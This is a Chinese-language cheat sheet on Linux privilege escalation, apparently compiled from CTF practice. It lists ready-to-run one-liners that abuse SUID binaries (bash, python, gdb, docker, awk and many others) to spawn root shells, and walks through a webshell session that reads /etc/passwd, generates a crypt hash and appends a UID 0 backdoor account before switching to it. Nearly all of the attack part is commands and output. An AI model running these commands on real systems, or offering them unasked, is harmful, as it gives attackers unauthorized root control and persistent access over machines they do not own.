提权总结
SUID提权
查找 SUID 文件
find / -perm -u=s -type f 2>/dev/null
参数:
/表示从文件系统的顶部(根)开始,查找每个目录
-perm表示搜索后面的权限
-u=s表示查找 root 用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示普通文件,而不是目录或特殊文件
2表示到进程的第二个文件描述符,即 stderr(标准错误)
>表示重定向
/dev/null是一个特殊的文件系统对象,它会丢弃写入其中的所有内容。
常用指令提权方法
命令 利用方法
zsh zsh
xargs xargs -a /dev/null sh -p
watch watch -x sh -c ‘reset; exec sh -p 1>&0 2>&0’
timeout timeout 7d /bin/sh -p
time time /bin/sh -p
tclsh 1、tclsh 2、exec /bin/sh -p <@stdin >@stdout 2>@stderr
taskset taskset 1 /bin/sh -p
stdbuf stdbuf -i0 /bin/sh -p
strace strace -o /dev/null /bin/sh -p
ssh ssh -o ProxyCommand=’;sh -p 0<&2 1>&2’ x
setarch setarch $(arch) /bin/sh -p
rsync rsync -e ‘sh -p -c “sh -p 0<&2 1>&2”’ 127.0.0.1:/dev/null
rpm rpm --eval ‘%{lua:os.execute("/bin/sh -p")}’
python python -c ‘import os; os.execl("/bin/sh", “sh”, “-p”)’
php 1、CMD="/bin/sh" 2、 php -r “pcntl_exec(’/bin/sh’, [’-p’]);”
nice nice /bin/sh -p
nano 1、nano //运行nano程序 2、^R //按下ctrl-r 3、^X //按下ctrl-x 4、reset; sh -p 1>&0 2>&0 //输入下面的命令
more 1、more /etc/profile 2、!/bin/sh -p
logsave logsave /dev/null /bin/sh -i -p
less less /etc/profile //读取文件,在底行输入!/bin/sh -p
ksh ksh -p
ip 1、ip netns add foo 2、ip netns exec foo /bin/sh -p 3、ip netns delete foo
ionice ionice /bin/sh -p
git git help status
gimp gimp -idf --batch-interpreter=python-fu-eval -b ‘import os; os.execl("/bin/sh", “sh”, “-p”)’
gdb gdb -nx -ex ‘python import os; os.execl("/bin/sh", “sh”, “-p”)’ -ex quit
ftp ftp //在底行输入“!/bin/sh -p”
flock flock -u / /bin/sh -p
find find . -exec /bin/sh -p ; -quit
find find `which find` -exec whoami \;
expect expect -c ‘spawn /bin/sh -p;interact’
env env /bin/sh -p
ed ed //在底行输入“!/bin/sh -p”
docker docker run -v /:/mnt --rm -it alpine chroot /mnt sh
dmesg dmesg -H//在底行输入“!/bin/sh -p”
csh csh -b
bash bash -p
awk awk ‘BEGIN {system("/bin/bash -p")}’
perl perl exec “/bin/bash”;
passwd可写
前提条件
(www-data:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads) $ ls -al /etc/passwd
-rw-r--r-- 1 www-data www-data 1664 Jul 10 06:37 /etc/passwd
(www-data:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads) $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
aiweb1:x:1000:1000:AIWEB1:/home/aiweb1:/bin/bash
mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false
aiweb1pwn:x:1001:1001::/home/aiweb1pwn:/bin/sh
俩条件满足其一即可
1.passwd所有权用户就是当前用户
2.passwd可读可写可执行,权限777
提权步骤
记录行的基本属性
用户名
加密密码
用户 ID (或 UID)
组 ID (或 GUID)
用户名
用户家目录
登录 Shell
构造用户,密码加盐
构造一个用户,在密码占位符处指定密码,并且将UID设置为0,并将其添加到 /etc/passwd 文件中
┌──(root㉿kali)-[/home/kali/桌面]
└─# perl -le 'print crypt("test","123456")'
126D8rSh5sjUE
然后执行下面这条命令,成功将test用户的信息加入到/etc/passwd 文件
echo ’test:126D8rSh5sjUE:0:0:root:/root:/bin/bash‘ >>/etc/passwd
成功写入之后su转换用户即可
su test
当然这里也需要注意,需要是一个标准的终端才可以su转换,蚁剑冰蝎等webshell连接工具的终端是不可以的。